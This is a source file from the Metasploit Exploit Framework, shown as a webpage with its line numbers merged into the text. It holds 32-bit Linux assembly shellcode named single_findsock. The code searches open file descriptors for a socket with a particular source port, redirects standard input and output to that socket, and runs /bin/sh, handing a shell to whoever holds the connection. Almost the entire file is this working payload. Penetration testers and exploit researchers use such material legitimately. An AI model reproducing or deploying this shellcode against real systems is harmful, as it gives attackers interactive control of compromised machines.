Path: blob/master/external/source/shellcode/linux/ia32/single_findsock.asm
24822 views
;;1;2; Name: single_findsock3; Platforms: Linux4; Authors: vlad902 <vlad902 [at] gmail.com>5; Authors: skape <mmiller [at] hick.org>6; Version: $Revision: 1856 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; Search file descriptors based on source port.16;17;;1819BITS 322021global main2223main:24xor edx, edx25push edx26mov ebp, esp2728push byte 0x0729pop ebx3031push byte 0x1032push esp33push ebp34push edx3536mov ecx, esp37getpeername_loop:38inc dword [ecx]3940push byte 0x6641pop eax42int 0x804344cmp word [ebp + 2], 0x5c1145jne getpeername_loop4647pop ebx48push byte 0x0249pop ecx5051dup2_loop:52mov al, 0x3f53int 0x8054dec ecx55jns dup2_loop5657push edx58push dword 0x68732f2f59push dword 0x6e69622f60mov ebx, esp6162push edx63push ebx64mov ecx, esp6566mov al, 0x0b67int 0x80686970